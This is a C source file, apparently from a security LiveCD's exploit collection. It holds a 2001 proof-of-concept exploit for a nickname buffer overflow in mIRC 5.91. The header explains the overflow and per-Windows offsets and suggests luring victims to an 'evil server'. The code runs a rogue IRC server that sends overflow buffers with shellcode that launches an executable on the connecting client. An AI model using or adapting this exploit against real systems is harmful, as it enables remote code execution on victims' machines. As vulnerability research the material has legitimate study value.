home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / irc / mirc / mircexploit-v591.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  7KB  |  218 lines

  1. /* Mirc buffer nickname buffer overflow proof of concept exploit.
  2.    Author: James Martin
  3.    Email: me@uuuppz.com
  4.    Website: http://www.uuuppz.com
  5.  
  6.  
  7.    This code is purely to demonstrate the risk posed by this flaw.
  8.    It should not be used for malicious purposes. I do not accept
  9.    any responsibility for any dammage it may cause due to it use.
  10.  
  11.    This code compiles in Borland C++ 5.5 command line tools. Run it,
  12.    and type /server 127.0.0.1 2680 (in mirc that is :P).
  13.  
  14.    This exploit could be modified to work on many editions of mirc
  15.    running on all variants of windows. However due to the messing
  16.    around that is required to place the return address on the stack
  17.    It will work on:
  18.    For the following do not #define EXPLOIT_2K
  19.    Windows 98SE running Mirc 5.91
  20.    Windows 98 running Mirc 5.91
  21.    Windows ME running Mirc 5.91
  22.    With exploit 2K defined it will exploit
  23.    Windows 2K
  24.  
  25.    The basic concept of this overflow is as follows
  26.    In memory mirc stores the following variables
  27.    [Primarynick(100chars)][Alternativenick(100chars)][WhichNick[dword]]
  28.    There is no length checking on  the nickname returned to nick by the server.
  29.    There are two ways to exploit this
  30.    a) Send the msg ":OLDCLIENTNICK NICK NEWCLIENTNICK"
  31.    b) Send ":testserver 001 NEWNICKNAME :blah blah"
  32.  
  33.    I found method a) on the 24/10/2001 and reported this problem to the author.
  34.    Method b) was published by eSDee of hoepelkoe 23/10/2001 (completely unknown to me!)
  35.    very coincidental really.
  36.  
  37.    From debugging the code, it seems that this buffer is copied in several places.
  38.    So there maybe more places to exploit this than are currently known.
  39.  
  40.    I spent quite a bit of time analysing the hole, in the end I found
  41.    the way to do it was, to overright WhichNick with a value, that would
  42.    cause the currentnickname to reference the stack, then send another nick
  43.    name containing the new version of  EIP to be overwritten on the stack.
  44.  
  45.    For this we need a magick number to be placed in currentnickname, this number
  46.    must satisfy the equation (magicknumber*100)+offset = location of pushed eip. Also
  47.    this magick number must not contain any zero bytes or spaces (value of 32). This
  48.    works by exploiting the integer overflow concept.
  49.  
  50.    The following is the code which appears in mirc.
  51.    imul    ecx, WhichNick, 64h
  52.    add     ecx, offset PrimaryNick
  53.  
  54.    Unfortuantly the location of the stack varies between different versions of windows.
  55.    NT, Win2k, XP all have the stack in very similar positions but it does move slightly.
  56.    Win98,Win98SE, WinME all have the stack in EXACTLY the same position. Windows 95 is
  57.    different again. Hence having to do a #define for the os you wish to exploit.
  58.  
  59.    This may seem like quite a large mitigating factor but in reality this is very easy
  60.    to overcome if you couple this exploit with a HTTP server which sends out a page to
  61.    cause mirc to load and attempt to connect to our evil server. As Internet explorer,
  62.    is nice enough to tell us exactly what OS is running! I think we can blame MS for that
  63.    one, talk about giving us a helping hand!
  64. */
  65.  
  66. #include<stdio.h>
  67. #include<windows.h>
  68. #include<winsock2.h>
  69. #define SOCKADDRCAST struct sockaddr_in *
  70.  
  71. // This fuction binds a listenig socket
  72. SOCKET openlistensocket(void) {
  73.    SOCKET s;
  74.    struct sockaddr_in SockAdr;
  75.  
  76.    // Get a new socket
  77.    s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  78.    // Set the ip add ress we are going to bind to
  79.    memset(&SockAdr, 0, sizeof(SockAdr));
  80.    SockAdr.sin_addr.s_addr = inet_addr("0.0.0.0")  ;
  81.    SockAdr.sin_family=AF_INET;
  82.    SockAdr.sin_port=htons(2680);
  83.  
  84.    printf("2: Starting\n");
  85.    // Attempt to bind socket
  86.    if(bind(s, (SOCKADDRCAST)&SockAdr, sizeof(SockAdr))) {
  87.       // Failed free socket and return -1
  88.       printf("Failed to open, %u\n",WSAGetLastError());
  89.  
  90.       closesocket(s);
  91.       return(-1);
  92.    } else // Success listen on socket
  93.       if(listen(s, 10)!=SOCKET_ERROR)
  94.         return(s);
  95.       else {
  96.         printf("Failed to open listen socket (listen, %u)\n",WSAGetLastError());
  97.  
  98.         closesocket(s);
  99.         return(-1);
  100.       }
  101. }
  102.  
  103. // Shell code, this just launches an executable
  104. // specifid following the shell code. Currently
  105. // it does not clean up properly, so mirc will
  106. // crash.
  107. char shellcode[44] = {
  108. 0x6A,0x01,0xB8,0xBF,
  109. 0x74,0x55,0x44,0xC1,
  110. 0xE0,0x08,0xC1,0xE8,
  111. 0x08,0x50,0xB8,0x50,
  112. 0x90,0x54,0x44,0xC1,
  113. 0xE0,0x08,0xC1,0xE8,
  114. 0x08,0xFF,0xd0,0x33,
  115. 0xDB,0x53,0xB8,0x10,
  116. 0x8e,0x54,0x44,0xc1,
  117. 0xe0,0x08,0xc1,0xe8,
  118. 0x08,0xff,0xd0,0x00};
  119.  
  120.  
  121. #define EXPLOI_9x
  122.  
  123. #define MAGICNUMBER_NT 0x28eb207
  124. #define MAGICNUMBER_2K 0x28eb205
  125. #define MAGICNUMBER_XP 0x28eb205
  126. #define MAGICNUMBER_9x 0x28Fc909
  127. #define OFFSET_NT 20
  128. #define OFFSET_2K 84
  129. #define OFFSET_XP 12
  130. #define OFFSET_9x 180
  131. #define OFFSET_95 184
  132.  
  133.  
  134. #ifdef EXPLOIT_NT
  135.  #define MAGICNUMBER MAGICNUMBER_NT
  136.  #define OFFSET OFFSET_NT
  137. #else
  138.  #ifdef EXPLOIT_2K
  139.   #define MAGICNUMBER MAGICNUMBER_2K
  140.   #define OFFSET OFFSET_2K
  141.  #else
  142.   #ifdef EXPLOIT_XP
  143.    #define MAGICNUMBER MAGICNUMBER_XP
  144.    #define OFFSET OFFSET_XP
  145.   #else
  146.    #define MAGICNUMBER MAGICNUMBER_9x
  147.    #ifdef EXPLOIT_95
  148.      #define OFFSET OFFSET_95
  149.    #else
  150.      #define OFFSET OFFSET_9x
  151.    #endif
  152.   #endif
  153.  #endif
  154. #endif
  155.  
  156. // Our main function
  157. void main() {
  158.   SOCKET s,client;
  159.   char buf1[300],
  160.        buf2[190],
  161.        buf3[1500];
  162.   /* Perform winsock startup */
  163.   WORD wVersionRequested;
  164.   WSADATA wsaData;
  165.   HANDLE h;
  166.   int wsErr;
  167.   int len, *i;
  168.    struct sockaddr_in SockAdr;
  169.  
  170.   wVersionRequested = MAKEWORD( 1, 1 );
  171.   wsErr = WSAStartup( wVersionRequested, &wsaData );
  172.   printf("1: Initialising %u\n",wsErr);
  173.   if ( wsErr != 0 ) {
  174.     /* Tell the user that we couldn't find a usable */
  175.     /* WinSock DLL.                                  */
  176.     printf("Failed to start winsock exiting\n");
  177.     return;
  178.   }
  179.  
  180.   // Open Listen Socket
  181.   s = openlistensocket();
  182.  
  183.   // Accept a connection
  184.   len = sizeof(SockAdr);
  185.   client = accept(s, &SockAdr, &len);
  186.   printf("Accepted\n");
  187.  
  188.   // Init the two exploit buffers.
  189.   memset(buf1, 'X', sizeof(buf1));
  190.   memset(buf2, 'Y', sizeof(buf1));
  191.   buf1[204] = 0;
  192.   buf2[OFFSET+3] = 0;
  193.  
  194.   // Set the return address to be poped onto the stack
  195.   buf2[OFFSET] = 0x94;
  196.   buf2[OFFSET+1] = 0x74;
  197.   buf2[OFFSET+2] = 0x55;
  198.  
  199.   // Set our little magic number
  200.   i = (int *)(buf1+200);
  201.   *i = MAGICNUMBER;
  202.  
  203.   // Build the exploit string
  204.   sprintf(buf3, ":testserver 001 %s%scalc.exe :ddd\n:testserver 001 %s :x\n:testserver 001 test :x\n",  buf1,shellcode,buf2);
  205.  
  206.   // Send it
  207.   send(client, buf3, strlen(buf3),0);
  208.  
  209.   // Wait
  210.   printf("Waiting\n");
  211.   Sleep(10000);
  212.  
  213.   // Cleanup
  214.   closesocket(client);
  215.   closesocket(s);
  216. }
  217.  
  218.